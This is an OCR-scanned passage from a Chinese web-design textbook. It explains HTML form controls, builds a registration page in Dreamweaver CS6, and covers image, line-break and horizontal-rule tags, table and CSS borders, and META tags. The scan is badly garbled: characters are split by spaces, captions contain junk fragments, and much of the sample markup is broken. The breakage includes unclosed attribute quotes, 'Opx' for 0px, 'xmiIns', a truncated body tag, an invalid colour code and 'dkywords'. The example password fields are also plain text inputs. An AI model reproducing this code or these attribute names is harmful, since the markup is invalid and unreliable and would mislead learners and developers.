同 复 选 框 一 样 ， 单 选 按钮 也 可 以 实现 用 户 对 所 列 出 几 个 数据 的 选择 。 不 同 的 是 ， 在 单 选 按钮 组 中 ， 
用 户 只 能 在 一 组 数据 中 选择 一 个 值 。 选 择 其 他 的 值 时 会 自动 取消 已 经 选择 的 选项 。 例 如 ， 下 面 的 代码 
是 一 个 单 选 按钮 组 。 


请 选择 你 的 收入 : <br> 

<input name="money" type="radio" value="1" checked>1000 一 3000 元 
<input name="money" type="radio" value="2">3000 一 6000 元 

<input name="money" type="radio" value="3">6000 元 以 上 


在 复 选 框 和 单 选 按 钮 的 选项 中 , 可 以 设置 一 些 选项 默认 已 经 选择 。 网 页 的 运行 效果 如 图 2-15 所 示 。 
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与 网 站 建设 技术 详解 


Eftom 
请 选择 你 的 收入 : 


回 1000 一 3000 元 日 3000 一 6000 元 日 6000 元 以 上 


图 2-15 网 页 中 的 单 选 按钮 
7. 下 拉 菜 单 


下 拉 菜 单 是 另 一 种 数据 选择 方式 ， 用 户 单 击 下 拉 菜 单 后 ， 可 以 对 一 组 选项 选择 唯一 的 一 个 值 。 例 
如 ， 下 面 的 下 拉 菜单 可 以 实现 用 户 对 血型 的 选择 。 


请 选择 你 的 血型 : <br> 
<select name="blood"> 
<option value=" 不 知道 " selected> 不 知道 </option> 
<option value="A">A</option> 
<option value="B">B</option> 
<option value="AB">AB</option> 
<option value="O">O</option> 
</select> 


用 户 可 以 单 击 下 拉 菜 单 选 择 一 个 选项 。 网 页 的 运行 效果 如 图 2-16 所 示 。 
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图 2-16 网 页 中 的 下 拉 菜单 


8. 文件 选择 框 

文件 选择 框 可 以 实现 对 文件 的 选择 ， 用 户 单 击 “ 浏 览 ” 按 钮 后 ， 可 以 选择 一 个 本 地 计算 机 上 的 文 
件 。 代 码 如 下 : 

请 选择 附件 : <br> 

<input name="myfile" type="file"> 


用 户 单 击 文件 选择 框 可 以 选择 计算 机 中 的 一 个 文件 。 在 电子 邮件 的 附件 、 论 坛 的 图 片上 传 等 网 页 
中 需要 使 用 文件 选择 框 。 网 页 的 运行 效果 如 图 2-17 所 示 。 
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图 2-17 网 页 中 的 文件 选择 框 


9. 按钮 


按钮 可 以 实现 用 户 的 鼠标 单 击 功能 。 用 户 完成 所 有 的 数据 填写 后 ， 需 要 单 击 按钮 才 可 以 实现 。 按 
钮 有 以 下 3 种 动作 。 

回 ”提交 表单 : 单 击 以 后 将 表单 内 容 提 交 到 服务 器 。type 值 为 submit。 

回 ”无 动作 : 单 击 以 后 无 动作 ， 一 般 用 作 JavaScript 的 事件 。type 值 为 button。 

回 重 设 表单 : 单 击 以 后 重 设 表单 ,使 这 个 表单 中 所 有 的 值 都 重 设 为 表单 的 默认 值 。type 值 为 reset。 

例如 ， 下 面 代码 就 是 3 个 不 同类 型 的 按钮 。 

<input type="submit" name="Submit" value=" 提 交 "> 

<input type="reset" name="Submit2" value=" 重 置 "> 

<input type="button" name="button" id="button" value=" 确 定 "> 

10. 示例 : 一 个 用 户 注册 表单 


下 面 代码 就 是 一 个 用 户 注册 表单 。 在 注册 表单 中 需要 提交 用 户 的 用 户 名 、 口 令 、 性 别 、E-mail、 电 
话 等 信息 。 其 中 ， 用 户口 令 是 密码 文本 框 ， 性 别 是 单 选 按钮 ， 其 他 的 信息 用 文本 框 提交 。 代 码 如 下 : 


<html> 

<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title> 注 册 表 单 示例 </title> 

</head> 

<body> 

<form name="myform" method="post" action="reg.asp"> 


<table width="272" border="1" align="center" cellspacing="4" bordercolor="#CCCCCC"> 
<tr><td height="26" colspan="2"><div align="center"> 用 户 注册 </div></td></tr> 
<tr><td width="58" height="26"> 用 户 名 </td> 
<td width="120" height="26"><input name="username" type="text" id="username"></td></tr><tr> 
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<td height="26"> 口 令 </td> 
<td height="26"><input name="password type="text" id="password"></td></tr> 
<tr><td height="26"> 性 别 </td><td height="26"> 
<input type="radio" name="sex" value=" 男 "> 男 
<input type="radio" name="sex" value=" 女 "> 女 </td></tr> 
<tr><td height="26">email</td> 
<td height="26"><input name="email type="text" id="email"></td></tr> 
<tr><td height="26"> 电 话 </td> 
<td height="26"><input name="tel" type="text" id="tel"></td></tr> 
<tr><td height="26" colspan="2"> 
<div align="center"><input type="submit" name="Submit" value=" 提 交 "> 
<input type="reset" name="Submit2" value=" 重 置 "></div></td></tr> 
</table> 
</form> 
</body> 
</html> 


图 2-18 注册 表单 的 网 页 效果 


2.2.8 图 片 标记 


计算 机 中 的 JPG 或 GIF 等 格式 的 图 片 文件 ， 可 以 插入 到 网 页 中 。 网 页 中 插入 图 片 需要 使 用 <img> 
图 片 标 记 。 如 下 代码 就 是 在 网 页 中 插入 一 张 图 片 。 

<img src="3jpg" border="2" width="124" height="93" /> 

图 片 标记 需要 设置 的 属性 有 以 下 几 个 方面 。 

回 width: 设置 图 片 的 宽度 。 

回 height: 设置 图 片 的 高 度 。 

回 border: 设置 图 片 的 边框 。 
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src: 设置 图 片 的 URL。 

vspace: 设置 图 片 的 垂直 方向 边 距 。 

hspace: 设置 图 片 的 水 平方 向 边 距 。 

alt: 设置 图 片 的 提示 文字 。 

align: 设置 图 片 的 对 齐 方式 。 

在 下 面 的 网 页 代码 中 插入 图 片 ， 可 以 对 图 片 的 每 一 个 属性 分 别 进行 设置 。 

<html xmiIns="http://www.w3.org/1999/xhtml"> 

<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 图 片 标记 </title> 

</head> 

<bod 


回回 加 加 加 


全 

图 片 示例 <br /> 

<img src="3.jpg" border="2" vspace="20" hspace="30" width="124" height="93” /> 

<img src="2.jpg" alt="my photo" width="130" height="98” vspace="20" hspace="30" border="4"/> 
</body> 

</html> 


网 页 的 运行 效果 如 图 2-19 所 示 。 
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图 2-19 网 页 中 的 图 片 标记 
2.2.9 换行 标记 


网 页 在 代码 中 直接 按 Enter 键 只 可 以 实现 代码 的 换行 , 不 能 实现 网 页 文本 的 换行 。HIML 代码 中 的 
回 车 换行 在 网 页 中 并 不 会 显示 ， 如 果 在 网 页 中 需要 对 文字 换行 则 需要 使 用 <br> 换 行 标记 。 在 有 些 版 本 
的 网 页 设计 工具 中 ， 换 行 工 具 写 作 <br />， 这 和 <br> 是 相同 的 。 例 如 ， 下 面 网 页 代码 使 用 <br 人 实现 文 
本 的 换行 。 

<html xmIns="http://www.w3.org/1999/xhtml"> 

<head> 
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<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 换 行 </title> 
</head> 
<body> 换 行 标记 
示例 <br /> 
行 末 使 用 一 个 换行 标记 实现 文本 的 换行 。<br /><br /> 
换 <br /> 行 <br /> 标 <br /> 记 
</body> 
</html> 


网 页 的 运行 效果 如 图 2-20 所 示 。 
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换行 标记 示例 _ _ 
| 行 未 使 用 一 个 换行 标记 实现 文本 的 换行 。 


图 2-20 网 页 中 的 换行 标记 
2.2.10 水平线 标记 


网 页 中 可 以 用 <hr> 表 示 一 条 水 平 的 直线 ， 用 来 分 隔 不 同 的 网 页 内 容 ， 这 就 是 水 平 线 。<hr> 标 记 的 
属性 如 下 。 

回 ”width: 水 平 线 的 宽度 。 

回 ”noshade: 水 平 线 是 否 有 阴影 。 如 果 值 为 noshade， 则 无 阴影 。 

回 align: 水 平 线 的 对 齐 方 式 。 

回 color: 水 平 线 的 颜色 。 

例如 ， 下 面 是 在 网 页 中 插入 水 平 线 的 代码 。 

<html xmIns="http://www.w3.org/1999/xhtml"> 

<head> 

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<title> 水 平 线 </title> 

</head> 

<body> 水 平 线 标记 示例 <br /> 

<hr color="#FF0000" align="center" noshade="noshade" width="30%" /> 

有 阴影 的 水 平 线 

<hr align="center" width="50%" color="#0000fr" /> 

</body> 

</html> 


在 网 页 中 插入 水 平 线 可 以 分 隔 网 页 中 不 同 的 内 容 。 网 页 的 运行 效果 如 图 2-21 所 示 。 
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2-21 网 页 中 的 水 平 线 


2.2.11 ”特殊 标签 


网 页 中 有 一 些 空格 、 注 释 、 命 名 锚 点 等 标签 ， 这 些 标 签 并 不 在 网 页 中 具体 显示 ， 是 HTML 标签 中 
的 特殊 标签 。 下 面 这 些 标签 就 是 网 页 中 的 一 些 特殊 标记 。 

&nbsp;: 空格 标记 。 在 HTML 代码 中 直接 按 空格 键 ， 网 页 中 并 不 显示 。 如 果 需 要 在 网 页 中 显 
示 空 格 ， 则 需要 使 用 空格 标记 。 在 Dreamweaver 中 ， 空 格 标记 的 快捷 键 是 Shift+Ctrl+ 空 格 。 

回 ”<!-- -->: 注释 标记 。 在 网 页 设计 过 程 中 ， 有 时 需要 在 网 页 中 做 一 定 的 注释 ， 方 便 以 后 对 网 页 
的 继续 设计 和 程序 分 析 。 注 释 标 记 在 网 页 中 并 不 显示 。 

回 <ANAME=""></A>: 命名 锚 点 标记 。 如 果 网 页 的 页 面 有 很 多 屏 ， 可 以 做 一 个 链接 ， 链 接 到 网 
页 的 一 个 命名 锚 点 位 置 。 例 如 ，<ANAME="tag"></A> 就 是 一 个 叫做 tag 的 命名 锚 点 标记 。 在 
这 一 个 网 页 中 可 以 一 个 链接 指向 网 页 的 这 个 位 置 。 链 接 的 URL 中 如 果 有 命名 锚 点 ， 则 需要 在 
URL 后 面 加 “#”， 再 加 命名 锚 点 名 称 。 例 如 ，<a href=aa.asp#tag> 销 点 链接 </a> 就 是 一 个 指向 
网 页 aa.asp 中 的 一 个 tag 的 命名 锚 点 的 链接 。 


2.3 实例 : 制作 一 个 注册 页 面 


网 页 的 页 面 排版 是 网 页 设计 的 基础 知识 。 一 个 功能 强大 、 页 面 美观 的 网 页 需要 正确 的 排版 。 本 节 
一 个 实例 讲解 网 页 的 排版 。 首 先 需 要 在 网 页 中 插入 一 个 表格 ， 然 后 在 表格 中 插入 图 片 和 文本 。 表 格 

起 到 控制 布局 的 作用 。 网 页 中 需要 一 个 注册 表单 ， 实 现 用 户 信息 填写 的 功能 。 在 完成 这 些 页 面 排版 以 
后 ， 再 对 网 页 的 代码 进行 分 析 ， 理 解 Dreamweaver CS6 自动 生成 HTML 代码 的 过 程 。 

动态 网 站 要 求 有 强大 的 用 户 交互 功能 。 这 些 用 户 交 互 功能 实现 时 ， 需 要 对 不 同 的 用 户 权 限 进行 限 
制 。 当 用 户 取得 网 站 功能 的 权限 时 就 需要 进行 注册 。 

用 户 注册 功能 的 实质 ， 是 用 一 个 表单 将 用 户 注册 信息 提交 到 网 站 的 数据 库 中 。 本 节 将 以 一 个 注册 
页 面 的 排版 为 例 ， 讲 解 网 页 的 排版 过 程 和 网 页 表单 功能 的 设计 。 按 如 下 步 又 建立 一 个 注册 页 面 。 

(1) 运行 Dreamweaver CS6， 选 择 “文件 ”| “新 建 ”命令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 选 
择 “ 空 白 页 ”选项 , 在 “页 面 类 型 ”列表 中 选择 HTML 选项 ,然后 单 击 “ 创 建 ” 按 钮 ,创建 一 个 HIML 
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图 2-22 在 Dreamweaver CS6 中 新 建 一 个 HTML 网 页 
(2) 在 网 页 的 “标题 ”文本 框 中 输入 文本 “欢迎 注册 ”， 如 图 2-23 所 示 。 
LE | 
图 2-23 设置 网 页 的 标题 栏 
(3) 设置 网 页 属性 。 在 Dreamweaver CS6 设计 视图 的 空白 处 右 击 ， 在 弹出 的 快捷 菜单 中 选择 “页 
面 属性 ”命令 ， 在 弹出 的 “页 面 属性 ”对 话 框 中 设置 页 面 属性 。 如 图 2-24 所 示 ， 对 文本 颜色 和 背景 颜 


色 的 设置 ， 可 以 单 击 颜色 工具 ， 选 择 一 种 颜色 ， 然 后 设置 网 页 属性 的 各 项 内 容 ， 如 图 2-25 所 示 。 单 击 
“确定 ”按钮 ， 完 成 网 页 属性 的 设置 。 
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图 2-24 在 “页 面 属性 ”对 话 框 中 选择 颜色 


图 2-25 设置 网 页 的 属性 


(4) 单 击 “ 插 入 ”面板 的 “常用 ”类 别 下 的 “图 像 ”工具 国 ， 在 弹出 的 “选择 图 像 源 文件 ”对 
话 框 中 选择 一 张 图 片 文件 ， 单 击 “ 确 定 ” 按 钮 ， 完 成 图 片 插入 ， 如 图 2-26 所 示 。 


图 2-26 插入 一 张 图 片 
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所 示 。 
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图 2-27 插入 文本 
(6) 选择 “插入 ”| “表单 ”命令 ， 插 入 一 个 注册 表单 。 插 入 的 表单 如 图 2-28 所 示 。 


fF 欢迎 您 注册 个 人 会 员 


个 人 会 员 注册 页 面 


2-28 ”插入 一 个 表单 


(7) 在 设计 视图 中 选择 表单 , 在 “属性 ”面板 中 设置 表单 的 属性 。 在 “动作 ”文本 框 中 输入 “reg.asp”， 
表示 表单 发 送 的 目标 网 页 。 在 “方法 ”下 拉 菜 单 中 选择 POST 选项 ， 如 图 2-29 所 示 。 
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2-29 设置 表单 的 属性 


(8) 单 击 “ 插 入 ”面板 的 “常用 ”类 别 下 的 “表格 ”工具 国 ， 在 弹出 的 对 话 框 中 设置 一 个 7 行 2 
列 的 表格 ， 单 击 “ 确 定 ” 按 钮 ， 完 成 插入 。 这 个 表格 用 来 控制 表单 内 容 的 排版 ， 如 图 2-30 所 示 。 


fr 欢迎 您 注册 个 人 会 员 。 ] 


个 人 会 员 注册 页 面 


sg- 


图 2-30 插入 一 个 表格 


(9) 在 表格 左边 的 单元 格 中 输入 注册 各 项 内 容 的 提示 信息 ， 如 图 2-31 所 示 。 

(10) 将 光标 放置 在 表单 中 需要 插入 文本 框 的 位 置 , 再 单 击 “插入 ”面板 的 “表单 ”类 别 下 的 “ 文 
本 字段 ”工具 四 ， 插 入 文本 框 。 添 加 “用 户 名 ”“ 电 话 ” 两 个 单行 文本 框 和 一 个 口令 密码 框 。 选 择 文 
本 框 ， 在 “属性 ”面板 中 设置 文本 框 的 属性 ， 如 图 2-32 所 示 。 


设 技术 详解 


欢迎 您 注册 个 人 会 员 


个 人 会 员 注册 页 面 


2-31 输入 注册 的 提示 内 容 
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图 2-32 设置 文本 框 的 属性 


(11) 用 步骤 (10) 的 方法 ， 添 加 “所 学 专业 ” 单 选 按钮 组 ， 设 置 好 各 个 选项 的 值 和 提示 。 

(12) 在 工作 区 的 表格 中 ， 单 击 “ 选 择 头像 ”文本 后 面 的 单元 格 。 在 “表单 ”标签 中 ， 单 击 “ 复 
选 框 组 ”工具 ， 添 加 兴趣 爱好 复 选 框 组 。 在 各 个 复 选 框 的 后 面 ， 输 入 相关 的 提示 。 

(13) 单 击 “插入 ”面板 的 “常用 ”类 别 下 的 “图 像 ”工具 图 ， 在 弹出 的 对 话 框 中 选择 图 像 文 
件 ， 单 击 “ 确 定 ”按钮 完成 图 像 的 插入 。 在 4 个 单 选 按钮 组 中 分 别 插入 图 片 ， 然 后 在 “插入 ”面板 的 
“表单 ”类 别 下 单 击 “ 单 选 按钮 ”工具 ， 添 加 4 个 单 选 按钮 。 在 单 选 按钮 后 面 输入 与 图 片 相 对 应 的 头 
像 的 名 称 。 

(14) 在 “血型 ”文本 右边 的 单元 格 中 单 击 ， 选 择 这 个 单元 格 。 选 择 “ 插 入 ”| “表单 ”| “ 列 
表 /菜单 ”命令 ， 插 入 “血型 ”下 拉 菜 单 。 

(15) 单 击 “ 血 型 ”下 拉 菜 单 。 在 “属性 ”面板 中 输入 下 拉 菜单 的 名 称 ， 如 图 2-33 所 示 。 

(16) 单 击 步骤 (15) 中 的 “列表 值 ”按钮 ， 在 弹出 的 对 话 框 中 设置 下 拉 菜 单 的 选项 ， 如 图 2-34 
所 示 。 单 击 对 话 框 中 的 “+” 按 钮 可 以 添加 一 个 下 拉 项 。 选 择 下 拉 项 可 以 编辑 下 拉 项 的 值 与 文本 。 单 击 
“确定 ”按钮 完成 设置 。 


属性 
三 月 | 选择 类 型 可 菜单 四 
型 lblood 已 列表 中 
初始 { 
图 2-33 设置 “血型 ”下 拉 菜 单 的 名 称 图 2-34 设置 下 拉 菜 单 的 选项 


(17) 表单 的 设计 内 容 如 图 2-35 所 示 。 
(18) 选择 “文件 ”| “保存 ”命令 保存 网 页 ， 在 弹出 的 “另存 为 ”对 话 框 中 单 击 计 算 机 中 的 文 
件 夹 ， 选 择 一 个 保存 位 置 。 在 “文件 名 ”文本 框 中 输入 文件 名 “reg.html”， 单 击 “ 保 存 ” 按 钮 完成 网 


la 


页 的 保存 ， 如 图 2-36 所 示 。 
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图 2-35 插入 表单 元 素 图 2-36 保存 网 页 


(19) 按 F12 键 运行 这 个 网 页 ， 网 页 效果 如 图 2-37 所 示 。 在 网 页 中 ， 可 以 对 各 项 内 容 进行 填写 和 
选择 。 
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图 2-37 图 文 混 排 的 注册 页 面 
(20) 在 Dreamweaver CS6 的 代码 区 中 查看 网 页 的 源 代码 ， 会 发 现 Dreamweaver CS6 已 经 自动 完 
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成 了 网 页 源 代码 的 生成 。 网 页 的 源 代码 如 下 : 
<html xmIns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 注 册 表 单 综合 示例 </title> 
<style type="text/css"> 


w= 


body,td,th { 让 网 页 内 容 的 样式 */ 
font-family: 宋体 ; 
font-size: 14px; 
color: #000000;} 

body{ /*<body> 的 样式 */ 


background-color: #FFFFFF; 
margin-left: Opx:; 
margin-top: Opx; 
margin-right Opx; 
margin-bottom: Opx;}--> 
</style> 
</head> 


这 些 是 网 站 的 <head> 标 签 中 的 内 容 。<title> 标 签 是 设置 网 页 标题 时 生成 的 标签 。 其 中 ，<style> 标 签 
中 的 内 容 是 对 网 页 进行 属性 设置 后 自动 生成 的 样式 表 代 码 。 


<body> 
<div align="center"><img src="banner.gif' width="660" height="90" /> 
<br /> 个 人 会 员 注 册页 面 </div> <!- 网 页 中 的 文本 --> 
<form action="reg.asp" method="post" name="myform" id="myform"> ”<!-- 网 页 中 的 表单 -> 
<div align="center"><br /> 
<table width="660" border="1" cellspacing="4" bordercolor="#CCCCCC"> 
<tr> 
<td width="133"> 用 户 名 </td> 
<td width="505"><label> 


<input name="user" type="text" id="user" value="Lily" /> <!-- 网 页 中 的 文本 框 --> 
</label></td> </tr> 
<tr> 
<td> 口 令 </td> 
<td><input type="text" name="password" id="password" /></td></tr> <!-- 网 页 中 的 文本 框 --> 
<tr> 
<td> 电 话 </td> 
<td><input type="text" name="tel" id="tel" /></td> </tr> <!-- 网 页 中 的 文本 框 --> 
<tr> 
<td> 所 学 专业 </td> 
<td><label> 
<input name="subject type="radio" id="radio" value=" 外 语 " checked="checked" /> 
外 语 <!- 网 页 中 的 单 选 按钮 组 --> 


<input type="radio" name="subject" id="radio" value=" 计 算 机 " /> 计算 机 

<input type="radio" name="subject" id="radio" value=" 经 济 " /> 经 济 

<input type="radio" name="subject" id="radio" value=" 中 文 " /> 中 文 

<input type="radio" name="subject" id="radio" value=" 其 他 " /> 其 他 </label></td> </tr> 


<tr> 
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<td> 爱 好 </td> <!- 下 面 是 网 页 中 的 复 选 框 组 --> 
<td><input name="goodat" type="checkbox" id="goodat" value=" 体 育 " checked="checked" /> 体育 
<input name="goodat" type="checkbox" id="goodat" value=" 上 网 " /> 上 网 

<input name="goodat" type="checkbox" id="goodat" value=" 看 书 " checked="checked" /> 看 书 

<input name="goodat" type="checkbox" id="goodat" value=" 旅 游 " /> 旅游 

<input name="goodat" type="checkbox" id="goodat" value=" 交 友 " /> 交友 

<input name="goodat" type="checkbox" id="goodat" value=" 其 他 " /> 其 他 </td> </tr> 


<tr> 
<td> 选 择 头 像 </td> 
<td><table width="441" border="0"> 
<tr> 
<td><div align="center"><img src="pic10.gif” width="82” height="90" /><br /><input name="head" 
type="radio" value="pic10.gif" checked="checked" /> 选择 </div></td> 
<td><div align="center"><img src="pic2.gif" width="82" height="90" /><br /><input name="head" type= 
"radio" value="pic2.gif" /> 选择 </div></td> 
<td><div align="center"><img src="pic3.gif” width="82”height="90" /><br /><input name="head" 
type="radio" value="pic3.gif" /> 选择 </div></td> 
<td><div align="center"><img src="pic4.gif” width="82" height="90" /><br /><input name="head" 
type="radio" value="pic4.gif' /> 选择 </div></td> </tr> </table></td> </tr> 
<tr> 
<td> 血 型 </td> 
<td> 请 选择 你 的 血型 : <select name="blood"> <!- 这 里 是 血型 下 拉 菜单 -> 


<option value=" 不 知道 " selected> 不 知道 </option> 
<option value="A">A</option><option value="B">B</option> 
<option value="AB">AB</option><option value="O">O</option> 
</select></td> </tr> 
<tr> 
<td> 个 人 简介 </td> <td><label> <textarea name="info" id="info" cols="45" rows="6"></textarea> 
</label></td> </tr> 
<tr> 
<td colspan="2"> 
<div align="center"> <!- 下 面 是 提交 按钮 和 复位 按钮 -> 
<input type="submit" name="button" id="button" value=" 注 册 " />&nbsp;&nbsp; 
<input type="submit" name="button2" id="button2" value=" 重 设 " /></div> 
</td> </tr> 
</table> 
</div></form> 
</body> 
</html> 


2.4 表格 使 用 技巧 


表格 和 文本 的 边框 设置 ， 可 以 实现 各 种 美观 的 边框 效果 。 这 些 设置 需要 灵活 地 使 用 表格 边框 宽度 、 
表格 间距 、 表 格 边 框 填充 等 属性 。 
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2.4.1 ”表格 边框 使 用 技巧 : 表格 边框 的 设置 


表格 边框 有 border、cellpadding 和 cellspacing 3 个 属性 ， 分 别 表 示 表 格 的 边框 、 边 线 填充 和 边线 间 
距 。 这 3 个 属性 与 表格 的 背景 和 单元 格 的 边框 颜色 一 起 可 以 实现 各 种 效果 。 
回 ”border: 表示 表格 的 外 边框 粗细 ， 单 位 是 像素 。 
回 ”cellpadding: 表示 边框 的 填充 范围 ， 指 的 是 表格 内 部 内 容 与 表格 边线 的 距离 。 
回 ”cellspacing: 表示 不 同 单元 格 的 间距 。 
要 制作 一 个 表格 ， 只 有 边框 而 单元 格 之 间 没 有 边框 ， 可 以 将 单元 格 的 边框 与 表格 的 背景 颜色 设置 
为 相同 。 代 码 如 下 : 
<table width="400" border="4" bordercolor="#000000"> 
<tr> 
<td bordercolor="#FFFFFF"> 单 元 格 </td> 
<td bordercolor="#FFFFFF"> 单 元 格 </td> 
<td bordercolor="#FFFFFF"> 单 元 格 </td> 
</tr> 
<tr> 
<td bordercolor="#FFFFFF"> 单 元 格 </td> 
<td bordercolor="#FFFFFF"> 单 元 格 </td> 
<td bordercolor="#FFFFFF"> 单 元 格 </td> 
</tr> 
<tr> 
<td bordercolor="#FFFFFF"> 单 元 格 </td> 
<td bordercolor="#FFFFFF"> 单 元 格 </td> 
<td bordercolor="#FFFFFF"> 单 元 格 </td> 
</tr> 
</table> 


表格 的 效果 如 图 2-38 所 示 。 


图 2-38 表格 的 边框 效果 
2.4.2 ”表格 边框 使 用 技巧 : 单元 格 边 框 的 间距 


在 一 个 表格 中 ， 可 以 实现 不 同 的 单元 格 有 边线 隔 开 的 效果 。 为 突出 单元 格 的 效果 ， 可 以 设置 表格 
的 边 距 。 设 置 表格 的 外 边框 与 表格 的 背景 相同 时 ， 可 以 隐藏 外 边框 。 如 下 面 的 表格 代码 : 
<table width="400" border="2" cellpadding="4" cellspacing="16" bordercolor="#FFFFFF"> 
<tr> 
<td bordercolor="#000000"> 单 元 格 </td> 
<td bordercolor="#000000"> 单 元 格 </td> 
<td bordercolor="#000000"> 单 元 格 </td> 
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</tr> 

<tr> 
<td bordercolor="#000000"> 单 元 格 </td> 
<td bordercolor="#000000"> 单 元 格 </td> 
<td bordercolor="#000000"> 单 元 格 </td> 

</tr> 

<tr> 
<td bordercolor="#000000"> 单 元 格 </td> 
<td bordercolor="#000000"> 单 元 格 </td> 
<td bordercolor="#000000"> 单 元 格 </td> 

</tr> 

</table> 


表格 的 效果 如 图 2-39 所 示 。 


图 2-39 表格 的 单元 格 边框 


2.4.3 ”表格 边框 使 用 技巧 :单元 格 的 实 线 边 框 
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在 表格 中 ， 单 元 格 之 间 的 边框 默认 是 有 边 距 的 ， 如 图 2-40 所 示 。 可 以 设置 表格 的 边框 间距 为 0， 


以 实现 实 线 边框 效果 。 表 格 代 码 如 下 : 


<table width="400" border="1" cellpadding="6" cellspacing="0" bordercolor="#000000"> 


<tr> 
<td bordercolor="#000000"> 单 元 格 </td> 
<td bordercolor="#000000"> 单 元 格 </td> 
<td bordercolor="#000000"> 单 元 格 </td> 

</tr> 

<tr> 
<td bordercolor="#000000"> 单 元 格 </td> 
<td bordercolor="#000000"> 单 元 格 </td> 
<td bordercolor="#000000"> 单 元 格 </td> 

</tr> 

<tr> 
<td bordercolor="#000000"> 单 元 格 </td> 
<td bordercolor="#000000"> 单 元 格 </td> 
<td bordercolor="#000000"> 单 元 格 </td> 

</tr> 

</table> 


表格 的 效果 如 图 2-41 所 示 。 
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2.4.4 使 用 样式 表 设 置 文本 边框 : 文本 各 方向 相同 的 边框 


在 样式 表 中 设置 一 个 样式 的 边框 ， 可 以 对 一 个 文本 实现 与 表格 类 似 的 边框 效果 。 在 样式 表 中 新 建 
一 个 样式 ， 单 击 边框 ， 即 可 设置 这 个 样式 的 边框 ， 如 图 2-42 所 示 。 
这 个 样式 的 设置 生成 了 样式 表 边 框 代码 。 生 成 的 代码 如 下 : 
<style type="text/css"> 
a 
.STYLE1{ 
Color: #993333; 
border: 8px dotted #333333; 
font-size: 18px; 
} 


一 > 
</style> 


下 面 的 代码 使 用 这 个 样式 : 


<span class="STYLE1"> 样 式 表 的 边框 效果 </span><br /><br /><br /> 
<span class="STYLE1"> 这 是 样式 表 的 边框 效果 </span> 


网 页 的 运行 效果 如 图 2-43 所 示 。 
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图 2-42 样式 中 的 边框 设置 图 2-43 用 样式 控制 文本 边框 


2.4.5 ”使 用 样式 表 设 置 文本 边框 : 使 用 表格 样式 设置 边框 


表格 也 可 以 使 用 这 种 样式 表 设 置 的 样式 ， 例 如 ， 下 面 一 个 表格 使 用 了 2.4.4 节 中 的 样式 。 
<table width="400" border="1" bordercolor="#000000" class="STYLE1"> 


<td width="150"> 表 格 边框 的 样式 </td> 


<td width="78">&nbsp;</td> 
<td width="136">&nbsp;</td> 

</tr> 

<tr> 
<td>&nbsp;</td> 
<td>&nbsp;</td> 
<td>&nbsp;</td> 

</tr> 

<tr> 
<td>&nbsp;</td> 
<td>&nbsp;</td> 
<td>&nbsp;</td> 

</tr> 

</table> 
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图 2-44 表格 使 用 边框 样式 


2.4.6 ”使 用 样式 表 设 置 文 本 边框 : 样式 表 中 控制 不 同方 向 的 边框 


在 样式 表 中 可 以 设置 边框 的 不 同方 向 使 用 不 同 的 线 型 、 边 线 粗细 、 颜 色 等 属性 ， 如 图 2-45 所 示 。 
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2-45 ”样式 表 中 设置 不 同方 向 的 样式 


'@ 


这 个 样式 设置 生成 了 如 下 样式 代码 : 


<style type="text/css"> 

上 

.STYLE1{ 
color: #993333; 
border-top-width: 8px:; 
border-right-width: 2px; 
border-bottom-width: 8px; 
border-left-width: 8px; 
border-top-style: dotted; 
border-right-style: solid; 
border-bottom-style: double; 
border-left-style: dashed; 
border-top-color: #0000CC; 
border-right-color: #FF0000; 
border-bottom-color: #660066; 
border-left-color: #0000CC; 

ji 

一 > 

</style> 


当 表 格 使 用 这 个 样式 时 ， 效 果 如 图 2-46 所 示 。 文 本 使 用 这 个 样式 时 ， 会 在 文本 的 四 周 显示 像 表格 
边框 一 样 的 边框 ， 效 果 如 图 2-47 所 示 。 
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图 2-46 Fr 图 2.47 二 
2.5 HTML 网 页 中 的 META 属性 


META 标签 是 网 页 <head> 标 签 中 对 网 页 内 容 、 关 键 字 等 信息 的 设置 。 其 作用 是 在 HTML 文档 中 模 
拟 HITP 协议 响应 头 报 文 的 一 些 字段 ， 常 用 于 网 页 的 <head> 与 </head> 之 间 。META 标签 的 用 处 很 多 ， 
属性 有 name 和 http-equiv 两 种 。 例 如 ，IT168 网 站 (http://www.168.com) 的 首页 中 有 这 样 的 META 标 
签 代码 ， 这 些 代码 是 用 来 描述 网 页 的 某 些 基 本 信息 。 对 META 标签 的 设置 ， 有 利于 搜索 引擎 对 网 站 的 
收录 。 

<meta http-equiv="Content-Type" content="text/html: charset=gb2312" /> 

<meta name="keywords" content="IT| 门 户 | 新 闻 | 资 讯 | 报 价 | 导购 " /> 
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<meta name="description" content="IT 产品 导购 知名 媒体 ， 权 威 的 导购 资讯 站 ， 以 鲜明 的 定位 、 专 业 到 位 的 服务 ， 
成 为 个 人 以 及 企业 用 户 获取 IT 产品 信息 、 商 家 资料 、 导 购 资讯 首选 的 网 络 媒体 。IT168， 不 仅仅 是 导购 。" /> 


2.51 


name 属性 


META 标签 中 的 name 属性 是 针对 网 络 搜索 引擎 对 网 页 内 容 收录 进行 设置 ,在 网 页 中 需要 设置 这 些 
属性 以 便于 搜索 引擎 的 收录 。 


回 


办 办 办 办 轨 


content: 标识 网 页 的 内 容 ， 便 于 搜索 引擎 查找 、 分 类 。 搜 索引 擎 会 根据 content 中 的 内 容 自动 
判断 网 页 的 内 容 。 

description: 网 页 在 搜索 引擎 上 的 描述 ， 会 出 现在 搜索 引擎 的 结果 中 。 

dkywords: 网 页 的 关键 词 ， 搜 索引 擎 会 根据 关键 词 对 网 页 的 类 型 进行 分 类 。 

generator: 用 以 说 明 网 页 的 制作 工具 〈 如 Dreamweaver 等 )。 

author: 用 以 标识 网 页 的 制作 者 。 

robots: 标识 网 页 是 不 是 被 搜索 引擎 收录 。 可 能 的 值 为 : contect= "alllnonelindexlnoindex|follow| 
nofollow" 等 。 这 些 值 的 含义 如 表 2-1 所 示 。 


表 2-1 robots 的 属性 


什 含义 
all 网 页 将 被 检索 ， 且 网 页 上 的 链接 可 以 被 查询 
none 网 页 将 不 被 检索 ， 且 网 页 上 的 链接 不 可 以 被 查询 
index 网 页 将 被 检索 
follow 网 页 上 的 链接 可 以 被 查询 
